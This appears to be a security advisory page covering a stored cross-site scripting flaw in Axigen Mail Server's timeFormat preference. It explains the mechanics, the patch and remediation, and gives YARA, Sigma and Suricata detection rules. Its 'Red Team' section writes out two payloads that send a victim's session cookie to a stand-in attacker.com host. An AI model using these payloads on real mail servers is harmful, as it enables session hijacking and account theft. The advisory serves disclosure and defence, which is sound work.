CVE-2025-68643
Executive Summary
CVE-2025-68643 is a stored Cross-Site Scripting (XSS) vulnerability in Axigen Mail Server versions prior to 10.5.57. The flaw resides in the handling of the timeFormat account preference parameter within the WebMail interface. An attacker who has already compromised a user's credentials or exploited another vulnerability can inject a malicious JavaScript payload into the timeFormat preference. When the victim subsequently logs into the WebMail interface, the unsanitized timeFormat value is loaded from storage and inserted into the DOM, causing the injected script to execute. This can lead to session hijacking, credential theft, or further compromise of the mail server.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) – The attacker needs valid credentials or another vulnerability to inject the payload.
- User Interaction (UI): Required (R) – The victim must log into the WebMail interface.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): Low (L) – Limited modification of data is possible.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for prior access or another vulnerability reduces the immediate risk, but the potential for session hijacking and further compromise makes it a significant concern for organizations using Axigen Mail Server.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The timeFormat parameter is used to customize the display of time in the WebMail interface. The application fails to properly sanitize or encode this parameter before storing it in the database and later rendering it in the user's browser.
Attack Flow:
- Initial Access: The attacker gains access to a user's account, either through compromised credentials (phishing, credential stuffing) or by exploiting another vulnerability (e.g., SQL injection, CSRF).
- Payload Injection: The attacker modifies the
timeFormatpreference via the account settings API or interface, injecting a malicious JavaScript payload. For example:"><script>alert('XSS')</script> - Trigger: When the victim (or the attacker themselves, if they want to escalate privileges) logs into the WebMail interface, the application retrieves the
timeFormatvalue from the database and inserts it into the DOM without sanitization. - Execution: The injected JavaScript executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the user, or redirect to a phishing page.
Root Cause: The lack of output encoding or sanitization when rendering user-controlled data in the DOM. The timeFormat parameter is likely used in a JavaScript context or as an attribute value, making it susceptible to injection.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Retrieving timeFormat from user preferences
var timeFormat = getUserPreference('timeFormat');
// Directly inserting into DOM without sanitization
document.getElementById('timeDisplay').innerHTML = timeFormat;
Patched Code (Conceptual):
// Retrieving timeFormat from user preferences
var timeFormat = getUserPreference('timeFormat');
// Sanitizing the input before DOM insertion
var sanitizedTimeFormat = DOMPurify.sanitize(timeFormat);
document.getElementById('timeDisplay').innerHTML = sanitizedTimeFormat;
The patched version uses a sanitization library (e.g., DOMPurify) or proper encoding (e.g., textContent instead of innerHTML) to prevent script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Valid credentials for an Axigen Mail Server user account.
- Access to the WebMail interface.
Exploitation Steps:
- Log in to the WebMail interface with the compromised credentials.
- Navigate to the account settings/preferences page.
- Locate the
timeFormatfield. - Inject a malicious payload, such as:
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the preferences.
- Wait for the victim to log in. The payload will execute, sending their session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
"><img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Defensive)
Detection:
- Monitor for unusual changes to user preferences, especially the
timeFormatfield. - Look for outbound connections to unknown domains from the WebMail interface.
- Analyze web server logs for requests containing suspicious patterns in the
timeFormatparameter.
Prevention:
- Apply the patch by upgrading to Axigen Mail Server 10.5.57 or later.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP/HTTPS requests to attacker-controlled domains from the Axigen server.
- Suspicious
timeFormatvalues in HTTP requests, such as:timeFormat="><script>...</script>
- File IOCs:
- Modified user preference files in the Axigen database containing JavaScript payloads.
- Log IOCs:
- Web server logs showing unusual
timeFormatparameter values. - Authentication logs showing multiple failed login attempts followed by preference changes.
- Web server logs showing unusual
Detection Engineering
YARA Rule
rule CVE_2025_68643_Axigen_XSS {
meta:
description = "Detects stored XSS payloads in Axigen Mail Server timeFormat preference"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68643"
strings:
$xss_payload = /timeFormat.*<script.*>.*<\/script>/ nocase
$xss_payload2 = /timeFormat.*onerror.*=/ nocase
$xss_payload3 = /timeFormat.*javascript.*:/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-68643 - Stored XSS in Axigen Mail Server timeFormat
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Axigen Mail Server via timeFormat parameter
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: axigen
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'timeFormat'
cs-uri-query|re: '(<script|<img|onerror|javascript:)'
condition: selection
falsepositives:
- Legitimate use of timeFormat with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68643 - Axigen Mail Server Stored XSS in timeFormat"; flow:to_server,established; content:"timeFormat"; http_client_body; pcre:"/(<script|<img|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Axigen Mail Server to version 10.5.57 or later, which contains the fix for this vulnerability.
- Credential Rotation: Force all users to change their passwords to mitigate the risk of compromised credentials being used for injection.
- WAF Rules: Deploy or update Web Application Firewall rules to block XSS payloads in the
timeFormatparameter.
Long-Term Measures:
- Implement a Content Security Policy (CSP) to restrict script execution.
- Conduct regular security audits and penetration testing.
- Enforce multi-factor authentication (MFA) to reduce the risk of credential compromise.
- Monitor for unusual changes to user preferences and account settings.
Valters IT